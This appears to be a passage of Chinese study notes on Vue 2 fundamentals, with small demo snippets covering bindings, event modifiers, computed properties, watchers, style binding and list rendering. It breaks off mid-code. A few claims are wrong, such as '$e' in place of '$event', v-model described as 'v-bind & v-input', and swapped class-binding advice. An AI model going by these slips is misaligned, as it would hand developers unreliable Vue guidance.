1.初识 Vue
<!-- 准备好一个容器-->
<div id="root"></div>
<!-- 开发环境版本,包含了有帮助的命令行警告 -->
<script type="text/javascript" src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<!-- 生产环境版本,优化了尺寸和速度 -->
<!-- <script src="https://cdn.jsdelivr.net/npm/vue@2"></script> -->
<script type="text/javascript">
Vue.config.productionTip = false; // 阻止 vue 在启动时生成生产提示。
// 创建Vue实例
new Vue({
// el 用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
el: "#root",
// data 中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象。
data: {
name: "星宿君 の Blog",
address: "https://blog.huxinfeng.com",
},
});
</script>
必须要 new 一个 Vue 实例,否则报错,以下是 Vue 源码
// Vue源码 line 5075
function Vue(options) {
if (!(this instanceof Vue)) {
warn("Vue is a constructor and should be called with the `new` keyword");
}
this._init(options);
}
总结:
- 想让 Vue 工作,就必须创建一个 Vue 实例,且要传入一个配置对象;
- root 容器里的代码依然符合 html 规范,只不过混入了一些特殊的 Vue 语法;
- root 容器里的代码被称为【Vue 模板】;
- Vue 实例和容器是一一对应的;
- 真实开发中只有一个 Vue 实例,并且会配合着组件一起使用;
- {{xxx}}中的 xxx 要写 js 表达式,且 xxx 可以自动读取到 data 中的所有属性;
- 一旦 data 中的数据发生改变,那么页面中用到该数据的地方也会自动更新。
2.Vue 模板语法
<div id="root">
<h1>插值语法</h1>
<h3>你好,{{name}}</h3>
<hr />
<h1>指令语法</h1>
<a v-bind:href="blog.url.toUpperCase()">点我去{{blog.name}}学习1</a>
<!-- 简写 v-bind: => : -->
<a :href="blog.url">点我去{{blog.name}}学习2</a>
</div>
<script type="text/javascript">
Vue.config.productionTip = false;
new Vue({
el: "#root",
data: {
name: "星宿君",
blog: {
name: "星宿君 の Blog",
url: "https://blog.huxinfeng.com",
},
},
});
</script>
总结:
- 插值语法:
(1) 功能:用于解析标签体内容。
(2) 写法:{{xxx}},xxx 是 js 表达式,且可以直接读取到 data 中的所有属性。 - 指令语法:
(1) 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件.....)。
(2) 举例:v-bind:href="xxx" 或 简写为 :href="xxx",xxx 同样要写 js 表达式,且可以直接读取到 data 中的所有属性。
3.数据绑定
<div id="root">
<!-- 普通写法 -->
单向数据绑定:<input type="text" v-bind:value="name" /><br />
双向数据绑定:<input type="text" v-model:value="name" /><br />
<!-- 简写 -->
单向数据绑定:<input type="text" :value="name" /><br />
双向数据绑定:<input type="text" v-model="name" /><br />
<!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 -->
<h2 v-model:x="name">星宿君 の Blog</h2>
</div>
总结:
- Vue 中有两种数据绑定的方式:
(1) 单向绑定(v-bind):数据只能从 data 流向页面。
(2) 双向绑定(v-model):数据不仅能从 data 流向页面,还可以从页面流向 data。 - 备注:
(1) 双向绑定一般都应用在表单类元素上(如:input、select 等)
(2) v-model 是 v-bind & v-input 缩写
(3) v-model:value 可以简写为 v-model,因为 v-model 默认收集的就是 value 值。
4.el 与 data 的两种写法
// el 第一种写法
new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
},
});
// el 第二种写法
const vm = new Vue({
data: {
name: "星宿君 の Blog",
},
}).$mount("#root"); // mount 是 vm 原型对象 即 Vue 的方法,$mount 是将 vm 对象挂载在 DIVDOM 对象上
// 第二种写法更加灵活,可以配合定时器,实现不一样的效果
// data 第一种写法:对象式
new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
},
});
// data 第二种写法:函数式(在组件中必须是这种写法)
new Vue({
el: "#root",
data() {
console.log(this); // 此处的 this 是 Vue 实例对象
return {
name: "星宿君 の Blog",
};
},
});
总结:
- el 两种写法
(1) new Vue() 时候配置 el 属性。
(2) 先创建 Vue 实例,随后再通过 vm.$mount('#root') 指定 el 的值。 - data 两种写法
(1) 对象式
(2) 函数式
如何选择:目前哪种写法都可以,以后学习到组件时,data 必须使用函数式,否则会报错。 - 一个重要的原则
由 Vue 管理的函数,一定不要写箭头函数,一旦写了箭头函数,this 就不再是 Vue 实例了,而是 Window
5.MVVM 模型
总结:
- MVVM 模型
(1) M:模型(Model) :data 中的数据
(2) V:视图(View) :模板代码
(3) VM:视图模型(ViewModel):Vue 实例 - 观察发现
(1) data 中所有的属性,最后都出现在了 vm 身上。
(2) vm 身上所有的属性 及 Vue 原型上所有属性,在 Vue 模板中都可以直接使用。
6.数据代理
回顾 Object.defineproperty 方法
Object.defineProperty & Object.Proxy 区别
let number = 18;
let person = {
name: "张三",
sex: "男",
};
Object.defineProperty(person, "age", {
// value:18, // 控制属性是否可以枚举,默认值是 undefined
// enumerable:true, // 控制属性是否可以枚举,默认值是 false
// writable:true, // 控制属性是否可以被修改,默认值是 false
// configurable:true // 控制属性是否可以被删除,默认值是 false
// 当有人读取 person 的 age 属性时,get 函数(getter)就会被调用,且返回值就是 age 的值
get() {
console.log("有人读取 age 属性了");
return number;
},
// 当有人修改 person 的 age 属性时,set 函数(setter)就会被调用,且会收到修改的具体值
set(v) {
console.log("有人修改了 age 属性,且值是", v);
number = v;
},
});
小结:
- enumerable 为 false 时,浏览器显示的字体颜色相较于普通可枚举类型,淡一点
- get() 称为 getter set() 称为 setter
何为数据代理
let obj1 = { x: 100 };
let obj2 = { y: 200 };
Object.defineProperty(obj2, "x", {
get() {
return obj1.x;
},
set(v) {
obj1.x = v;
},
});
小结:
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
Vue 中的数据代理
小结:
- Vue 中的数据代理:
通过 vm 对象来代理 data 对象中属性的操作(读/写) - Vue 中数据代理的好处:
更加方便的操作 data 中的数据 - 基本原理:
(1) 通过 Object.defineProperty()把 data 对象中所有属性添加到 vm 上。
(2) 为每一个添加到 vm 上的属性,都指定一个 getter/setter。
(3) 在 getter/setter 内部去操作(读/写)data 中对应的属性。 - 问?
(1) data 与_data 之间进行数据劫持,_data 与 vm 进行数据代理
(2) 控制台输出对象,有的对象上显示(...) => 说明该数据设置了 Object.defineProperty,进行了代理
- Vue 监测数据改变的原理
- 模拟 Vue 数据监测
7.事件处理
事件的基本使用
<div id="root">
<h2>{{name}}</h2>
<!-- <button v-on:click="showInfo1">点我提示信息</button> -->
<button @click="showInfo1">点我提示信息1(不传参)</button>
<button @click="showInfo2($e,66)">点我提示信息2(传参)</button>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
},
methods: {
showInfo1(e) {
console.log(e.target.innerText); //星宿君 の Blog
console.log(this === vm); // true 此处的 this 是 vm
alert("同学你好!");
},
showInfo2(e, number) {
console.log(e, number);
alert("同学你好!!");
},
},
});
</script>
小结:
- 使用 v-on:xxx 或 @xxx 绑定事件,其中 xxx 是事件名;
- 事件的回调需要配置在 methods 对象中,最终会在 vm 上;
- methods 中配置的函数,不要用箭头函数!否则 this 就不是 vm 了,而是 Window;
- methods 中配置的函数,都是被 Vue 所管理的函数,this 的指向是 vm 或 组件实例对象;
- @click="demo" 和 @click="demo($e)" 效果一致,但后者可以传参。
- 问?函数可以写到 data 中?
(1) 可以,但是不建议这样设置,
(2) 如果函数写到 data 中,Vue 会默认做数据代理和数据劫持,但是函数做数据代理和数据劫持没有任何意义,而且会消耗 Vue 性能。
事件修饰符
1.prevent:阻止默认事件(常用);
<div id="root">
<!-- 阻止默认事件(常用)相当于e.preventDefault() -->
<a href="http://www.huxinfeng.com" @click.prevent="showInfo">点我提示信息</a>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
showInfo() {
alert("同学你好!");
},
},
});
</script>
2.stop:阻止事件冒泡(常用);
<style>
.demo {
height: 100px;
background-color: skyblue;
}
</style>
<div id="root">
<!-- 阻止事件冒泡(常用) -->
<div class="demo" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
<!-- 修饰符可以连续写 -->
<a href="http://www.huxinfeng.com" @click.prevent.stop="showInfo">点我提示信息</a>
</div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
showInfo() {
alert("同学你好!");
},
},
});
</script>
3.once:事件只触发一次(常用);
<div id="root">
<!-- 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示信息</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
showInfo() {
alert("同学你好!");
},
},
});
</script>
4.capture:使用事件的捕获模式;
<style>
.box1 {
padding: 5px;
background-color: skyblue;
}
.box2 {
padding: 5px;
background-color: orange;
}
</style>
<div id="root">
<!-- 使用事件的捕获模式 -->
<div class="box1" @click.capture="showMsg(1)">
div1
<div class="box2" @click="showMsg(2)">div2</div>
</div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
showMsg(msg) {
console.log(msg);
},
},
});
</script>
5.self:只有 event.target 是当前操作的元素时才触发事件;
<style>
.demo {
height: 50px;
background-color: skyblue;
}
</style>
<div id="root">
<!-- 当点击button时,e.target指向button标签,冒泡触发一次,本身一次,一共两次 -->
<!-- 只有e.target是当前操作的元素时才触发事件,所以即时会发生冒泡事件,但是demo不会触发 -->
<div class="demo" @click.self="showInfo">
<button @click="showInfo">点我提示信息</button>
</div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
showInfo() {
alert("同学你好!");
},
},
});
</script>
6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕。
<style>
.list {
width: 200px;
height: 200px;
background-color: peru;
overflow: auto;
}
li {
height: 100px;
}
</style>
<div id="root">
<!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
<ul @wheel.passive="demo" class="list">
<li>1</li>
<li>2</li>
<li>3</li>
<li>4</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
methods: {
demo() {
for (let i = 0; i < 100000; i++) {
console.log("#");
}
console.log("累坏了");
},
},
});
</script>
小结:
- prevent:阻止默认事件(常用);
- stop:阻止事件冒泡(常用);
- once:事件只触发一次(常用);
- capture:使用事件的捕获模式;
- self:只有 event.target 是当前操作的元素时才触发事件;
- passive:事件的默认行为立即执行,无需等待事件回调执行完毕。(一般用于移动端项目,即安卓和平板)
- 问?鼠标滚轮事件 scroll 和 wheel 区别?
(1) scroll 滚动条滚动就会触发,一直触发 => 该事件函数触发后,先触发默认滚动事件,在处理 demo 回调事件
(2) wheel 鼠标滚轮滚动到停止期间触发一次 => 该事件函数触发后,先处理 demo 回调事件,在触发默认滚动事件(使用 passive 可以解决)
键盘事件
<div id="root">
<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo" />
</div>
<script type="text/javascript">
Vue.config.keyCodes.huiche = 13; // 定义了一个别名按键
new Vue({
el: "#root",
methods: {
showInfo(e) {
console.log(e.key, e.keyCode);
console.log(e.target.value);
},
},
});
</script>
小结:
- Vue 中常用的按键别名:
(1) 回车 => enter
(2) 删除 => delete (捕获“删除”和“退格”键)
(3) 退出 => esc
(4) 空格 => space
(5) 换行 => tab (特殊,必须配合 keydown 去使用)
(6) 上 => up
(7) 下 => down
(8) 左 => left
(9) 右 => right - Vue 未提供别名的按键,可以使用按键原始的 key 值去绑定,但注意要转为 kebab-case(短横线命名)
- 系统修饰键(用法特殊):ctrl、alt、shift、meta(Win)
(1) 配合 keyup 使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2) 配合 keydown 使用:正常触发事件。 - 也可以使用 keyCode 去指定具体的按键,比如 @keydown.13(不推荐,因为在 Web 标准中已经移除,即使有些浏览器还支持,但是不排除未来某一天废弃)
- Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
- 问?.tab 可以配合 keyup 使用?
不可以,因为 tab 本身具有一个行为,即失去当前焦点,所以不会触发 input 事件 - 问?.ctrl 等系统修饰键 配合 keyup,如何实现只能通过 ctrl+y 实现触发?
@keydown.ctrl.y
8.计算属性
姓名案例-插值语法实现
<div id="root">
姓:<input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名:<span>{{firstName}}-{{lastName}}</span>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
});
</script>
姓名案例-methods 实现
<div id="root">
姓:<input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名:<span>{{fullName()}}</span>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
methods: {
// 只要 data 中数据发生改变,div#root 内的模板就会重新开始解析,当遇到 fullName() 时,无论其中是否调用了 data 中的数据都会执行
fullName() {
console.log("计算属性 fullName 被调用了");
return this.firstName + "-" + this.lastName;
},
},
});
</script>
姓名案例-计算属性实现
<div id="root">
姓:<input type="text" v-model="firstName" /> <br />
名:<input type="text" v-model="lastName" /> <br />
全名:<span>{{fullName}}</span>
<!-- 只会执行一次fullName的get操作,下面是读取浏览器中的缓存 -->
全名:<span>{{fullName}}</span>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
},
computed: {
// 完整写法
fullName: {
// get 有什么作用?当有人读取 fullName 时,get就会被调用,且返回值就作为 fullName 的值
// get 什么时候调用?1.初次读取 fullName 时。2.所依赖的数据发生变化时。
get() {
console.log("get被调用了");
console.log(this); //此处的this是 vm
return this.firstName + "-" + this.lastName;
},
//set什么时候调用? 当fullName被修改时。(如果不需要修改fullname,则可以不写setter)
set(v) {
console.log("set", v);
const arr = v.split("-");
this.firstName = arr[0];
this.lastName = arr[1];
},
},
// 简写(前提是确定不使用set方法),注意这个是属性,非函数,只是简写酱紫了,调用时一定不要打括号。
/* fullName() {
console.log("get被调用了");
return this.firstName + "-" + this.lastName;
}, */
},
});
</script>
小结:
- 问?fullName 与 data 中的属性区别?
(1) fullName 是计算后的属性,所以也在 vm 实例上,但是显示是(...),区别于 data 中的 firstName 和 lastName;
(2) _data 中有 data 中的所有属性,唯独没有 fullName 属性;
(3) fullName 单独放在一个属性列表中(computed)
总结:
计算属性:
- 定义:要用的属性不存在,要通过已有属性计算得来。
- 原理:底层借助了 Objcet.defineproperty 方法提供的 getter 和 setter。
- get 函数什么时候执行?
(1) 初次读取时会执行一次。
(2) 当依赖的数据发生改变时会被再次调用。 - 优势:与 methods 实现相比,内部有缓存机制(复用),效率更高,调试方便。
- 备注:
(1) 计算属性最终会出现在 vm 上,直接读取使用即可。
(2) 如果计算属性要被修改,那必须写 set 函数去响应修改,且 set 中要引起计算时依赖的数据发生改变。
9.监视属性
天气案例-methods 实现
<div id="root">
<h2>今天天气很{{info}}</h2>
<!-- 绑定事件的时候:@xxx="yyy" yyy可以写一些简单的语句 -->
<!-- <button @click="isHot = !isHot">切换天气</button> -->
<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
});
</script>
如果 div#root 中没有使用任何 vm 中的数据,就算点击了 changeWeather 触发了事件,Vue 开发者工具也不会更改数据,开发者工具默认只要页面中没有使用 vm 中的数据,就默认不更改,但是实际数据是更改过的,可以通过控制台输出相关数据进行验证
天气案例-监视属性
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
// 写法一
watch: {
isHot: {
// 初始化时让 handler 调用一下,默认 false
immediate: true,
// handler 什么时候调用?当 isHot 发生改变时。
handler(newValue, oldValue) {
console.log("isHot 被修改了", newValue, oldValue);
},
},
// 不仅可以监听 data 中的属性,也可以监听 computed 中的属性
info: {
// 初始化时让 handler 调用一下,默认 false
immediate: true,
// handler 什么时候调用?当 info 发生改变时。
handler(newValue, oldValue) {
console.log("info 被修改了", newValue, oldValue);
},
},
},
});
// 写法二
/* vm.$watch("isHot", {
// 初始化时让 handler 调用一下,默认 false
immediate: true,
// handler 什么时候调用?当 isHot 发生改变时。
handler(newValue, oldValue) {
console.log("isHot 被修改了", newValue, oldValue);
},
}); */
</script>
小结:
监视属性 watch:
- 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
- 监视的属性必须存在,才能进行监视!!
- 监视的两种写法:
(1) new Vue 时传入 watch 配置
(2) 通过 vm.$watch 监视 - 问?写法一,写法二区别?
初始化实例时就确定要监听的属性就使用方法一,初始化之后根据用户行为确定监听的属性就使用方法二 - 问?是否可以监听到计算属性?
可以,不仅可以监听 data 中的属性,也可以监听 computed 中的属性 - 问?监视的属性不存在,进行监视,是否会报错?
不会报错,输出的值为 undefined undefined
天气案例-深度监视
<div id="root">
<h3>a的值是:{{numbers.a}}</h3>
<button @click="numbers.a++">点我让a+1</button>
<h3>b的值是:{{numbers.b}}</h3>
<button @click="numbers.b++">点我让b+1</button>
<!-- 如果不加 deep: true,更改 numbers.a 或者 b,事件不会被触发,因为 numbers 地址不发生改变,可以用以下方法更改 numbers 的地址,这样可以触发事件 -->
<button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
numbers: {
a: 1,
b: 1,
},
},
watch: {
// 监视多级结构中某个属性的变化
/* 'numbers.a':{
handler(){
console.log('a被改变了');
}
} */
// 监视多级结构中所有属性的变化
numbers: {
deep: true,
handler() {
console.log("numbers 改变了");
},
},
},
});
</script>
小结:
- 深度监视:
(1) Vue 中的 watch 默认不监测对象内部值的改变(一层)。
(2) 配置 deep:true 可以监测对象内部值改变(多层)。 - 对象中的 key 值必须是字符串,如果中间有.或者-,需要打上双引号或者单引号
- 备注:
(1) 使用 watch 时根据数据的具体结构,决定是否采用深度监视。
(2) 默认不开启深度监视,原因是减小性能损耗。
<div id="root">
<!-- 在控制台中输入 vm.numbers.c.d.e = 1,深度监视不能触发,但是 Vue 可以监听到,页面会改变 -->
{{numbers.c.d.e}}
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
numbers: {
c: {
d: {
e: 100,
},
},
},
},
watch: {
numbers: {
handler() {
console.log("numbers 改变了");
},
},
},
});
</script>
小结:
- 备注:
(1) Vue 自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!
天气案例-监视属性简写
<div id="root">
<h2>今天天气很{{info}}</h2>
<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
isHot: true,
},
computed: {
info() {
return this.isHot ? "炎热" : "凉爽";
},
},
methods: {
changeWeather() {
this.isHot = !this.isHot;
},
},
watch: {
// 正常写法
/* isHot: {
// immediate:true, // 初始化时让 handler 调用一下
// deep:true,// 深度监视
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
}, */
// 简写
isHot(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue, this);
},
},
});
// 正常写法
/* vm.$watch("isHot", {
immediate: true, // 初始化时让 handler 调用一下
deep: true, // 深度监视
handler(newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue);
},
}); */
// 简写
// 切忌不要写箭头函数。箭头函数指向 Window
vm.$watch("isHot", function (newValue, oldValue) {
console.log("isHot被修改了", newValue, oldValue, this);
});
</script>
姓名案例-watch 实现
<div id="root">
姓:<input type="text" v-model="firstName" /> <br /><br />
名:<input type="text" v-model="lastName" /> <br /><br />
全名:<span>{{fullName}}</span> <br /><br />
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
firstName: "张",
lastName: "三",
fullName: "张-三",
},
watch: {
firstName(newValue) {
// this 指向 Vue,如果不写箭头函数,setTimeout 指向 Window
setTimeout(() => {
console.log(this);
this.fullName = newValue + "-" + this.lastName;
}, 1000);
},
lastName(newValue) {
this.fullName = this.firstName + "-" + newValue;
},
},
});
</script>
小结:
- computed 和 watch 之间的区别:
(1) computed 能完成的功能,watch 都可以完成。
(2) watch 能完成的功能,computed 不一定能完成,例如:watch 可以进行异步操作。 - 两个重要的小原则:
(1) 所被 Vue 管理的函数,最好写成普通函数,这样 this 的指向才是 vm 或 组件实例对象。
(2) 所有不被 Vue 所管理的函数(定时器的回调函数、ajax 的回调函数等、Promise 的回调函数),最好写成箭头函数,这样 this 的指向才是 vm 或 组件实例对象。
10.绑定样式
<style>
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy {
border: 4px solid red;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}
.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal {
background-color: skyblue;
}
.at1 {
background-color: yellowgreen;
}
.at2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}
.at3 {
border-radius: 20px;
}
</style>
<div id="root">
<!-- 绑定 class 样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<br /><br />
<!-- 绑定 class 样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
<!-- vm.classArr.shift(),移除 at1 样式 -->
<!-- vm.classArr.push("at1"),增加 at1 样式 -->
<div class="basic" :class="classArr">{{name}}</div>
<br /><br />
<!-- 绑定 class 样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
<div class="basic" :class="classObj">{{name}}</div>
<br /><br />
<br /><br />
<!-- 绑定 style 样式--对象写法 -->
<div class="basic" :style="styleObj">{{name}}</div>
<br /><br />
<!-- 绑定 style 样式--数组写法 -->
<div class="basic" :style="styleArr">{{name}}</div>
</div>
<script type="text/javascript">
const vm = new Vue({
el: "#root",
data: {
name: "星宿君 の Blog",
mood: "normal",
classArr: ["at1", "at2", "at3"],
classObj: {
at1: false,
at2: false,
},
styleObj: {
fontSize: "40px",
color: "red",
},
styleObj2: {
backgroundColor: "orange",
},
styleArr: [
{
fontSize: "40px",
color: "blue",
},
{
backgroundColor: "gray",
},
],
},
methods: {
changeMood() {
const arr = ["happy", "sad", "normal"];
const index = Math.floor(Math.random() * 3);
this.mood = arr[index];
},
},
});
</script>
总结:
绑定样式:
- class 样式
(1) 写法:class="xxx" xxx 可以是字符串、对象、数组。
(2) 字符串写法适用于:类名不确定,要动态获取。
(3) 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
(4) 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。 - style 样式
(1) :style="{fontSize: xxx}"其中 xxx 是动态值。
(2) :style="[a,b]"其中 a、b 是样式对象。
11.条件渲染
<div id="root">
<!-- 使用v-show做条件渲染 -->
<h2 v-show="false">欢迎来访{{name1}}</h2>
<h2 v-show="1 === 1">欢迎来访{{name2}}</h2>
<h2 v-show="name">欢迎来访{{name2}}</h2>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
name1: "星宿君 の Blog1",
name2: "星宿君 の Blog2",
name: true,
},
});
</script>
<div id="root">
<!-- 使用v-if做条件渲染 -->
<h2 v-if="true">欢迎来访{{name1}}</h2>
<h2 v-if="1 === 2">欢迎来访{{name2}}</h2>
<h2 v-if="name">欢迎来访{{name2}}</h2>
<!-- v-else和v-else-if -->
<div v-if="n === 1">Angular</div>
<div v-else-if="n === 2">React</div>
<div v-else-if="n === 3">Vue</div>
<div v-else>哈哈</div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
name1: "星宿君 の Blog1",
name2: "星宿君 の Blog2",
name: false,
n: 0,
},
});
</script>
<div id="root">
<!-- v-if与template的配合使用 -->
<template v-if="n === 1">
<h2>你好</h2>
<h2>星宿君 の Blog</h2>
<h2>https://blog.huxinfeng.com</h2>
</template>
<!-- 不建议这样使用,会破坏结构,多出一个没必要的 div -->
<div v-if="n === 1">
<h2>你好</h2>
<h2>星宿君 の Blog</h2>
<h2>https://blog.huxinfeng.com</h2>
</div>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
n: 1,
},
});
</script>
总结:
条件渲染:
- v-if
写法:
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的 DOM 元素直接被移除。
注意:v-if 可以和:v-else-if、v-else 一起使用,但要求结构不能被“打断”。 - v-show
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉 - 备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。
12.列表渲染
基本列表
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<ul>
<li v-for="(p,index) of persons" :key="index">{{p.name}}-{{p.age}}</li>
</ul>
<!-- 遍历对象 -->
<h2>汽车信息(遍历对象)</h2>
<ul>
<li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li>
</ul>
<!-- 遍历字符串 -->
<h2>测试遍历字符串(用得少)</h2>
<ul>
<li v-for="(char,index) of str" :key="index">{{char}}-{{index}}</li>
</ul>
<!-- 遍历指定次数 -->
<h2>测试遍历指定次数(用得少)</h2>
<ul>
<li v-for="(number,index) of 5" :key="index">{{index}}-{{number}}</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
persons: [
{ id: "001", name: "张三", age: 18 },
{ id: "002", name: "李四", age: 19 },
{ id: "003", name: "王五", age: 20 },
],
car: {
name: "奥迪A8",
price: "70万",
color: "黑色",
},
str: "hello",
},
});
</script>
小结:
v-for 指令:
- 用于展示列表数据
- 语法:v-for="(item, index) in xxx" :key="yyy"
- key 值不会出现在 DOM 的属性上,key 被 Vue 所用
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
- of in 均可,功能一样
key 的原理
<div id="root">
<!-- 遍历数组 -->
<h2>人员列表(遍历数组)</h2>
<button @click.once="add">添加一个老刘</button>
<ul>
<li v-for="(p,index) of persons" :key="index">
{{p.name}}-{{p.age}}
<input type="text" />
</li>
</ul>
</div>
<script type="text/javascript">
new Vue({
el: "#root",
data: {
persons: [
{ id: "001", name: "张三", age: 18 },
{ id: "002", name: "李四", age: 19 },
{ id: "003", name: "王五", age: 20 },
],
},
methods: {
add() {
const p = { id: "004", name: "老刘", age: 40 };
// 往 persons 头插入一个信息
this.persons.unshift(p);
},
},
});
</script>
index 作为 key
id 作为 key
面试题:react、vue 中的 key 有什么作用?(key 的内部原理)
- 虚拟 DOM 中 key 的作用:
(1) key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,随后 Vue 进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下: - 对比规则:
(1). 旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:
①.若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM!
②.若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM。
(2). 旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key,创建新的真实 DOM,随后渲染到到页面。 - 用 index 作为 key 可能会引发的问题:
(1). 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实 DOM 更新 ==> 界面效果没问题, 但效率低。
(2). 如果结构中还包含输入类的 DOM:
会产生错误 DOM 更新 ==> 界面有问题。 - 开发中如何选择 key?:
(1). 最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值。
(2). 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用 index 作为 key 是没有问题的。
Diff 算法
列表过滤
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<ul>
<li v-for="(p,index) of filPerons" :key="index">{{p.name}}-{{p.age}}-{{p.sex}}</li>
</ul>
</div>
<script type="text/javascript">
// 小技巧,可以使用以下功能在 vscode 中实现折叠效果,因为注释代码折叠后,在下方写入 new 关键字折叠会被打开
// #region
// #endregion
// 用watch实现
/* new Vue({
el: "#root",
data: {
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: 19, sex: "女" },
{ id: "002", name: "周冬雨", age: 20, sex: "女" },
{ id: "003", name: "周杰伦", age: 21, sex: "男" },
{ id: "004", name: "温兆伦", age: 22, sex: "男" },
],
filPerons: [],
},
watch: {
keyWord: {
// 初始化就调用一次,原因在于 indexof("") 返回结果为 0
immediate: true,
handler(value) {
this.filPerons = this.persons.filter((p) => {
return p.name.indexOf(value) !== -1;
});
},
},
},
});
*/
//用computed实现
new Vue({
el: "#root",
data: {
keyWord: "",
persons: [
{ id: "001", name: "马冬梅", age: 19, sex: "女" },
{ id: "002", name: "周冬雨", age: 20, sex: "女" },
{ id: "003", name: "周杰伦", age: 21, sex: "男" },
{ id: "004", name: "温兆伦", age: 22, sex: "男" },
],
},
computed: {
filPerons() {
return this.persons.filter((p) => {
return p.name.indexOf(this.keyWord) !== -1;
});
},
},
});
</script>
列表排序
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord" />
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<!-- 切记不要使用 index 作为 :key 值 -->
<li v-for="(p,index) of filPerons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
<input type="text" />
</li>
</ul>
</div>
<script type="text/javascript">
//用computed实现
new Vue({
el: "#root",
data: {
keyWord: "",
sortType: 0, // 0原顺序 1降序 2升序
persons: [
{ id: "001", name: "马冬梅", age: 30, sex: "女" },
{ id: "002", name: "周冬雨", age: 31, sex: "女" },
{ id: "003", name: "周杰伦", age: 18, sex: "男" },
{ id: "004", name: "温兆伦", age: 19, sex: "男" },
],
},
computed: {
filPerons() {
const arr = this.persons.filter((p) => {
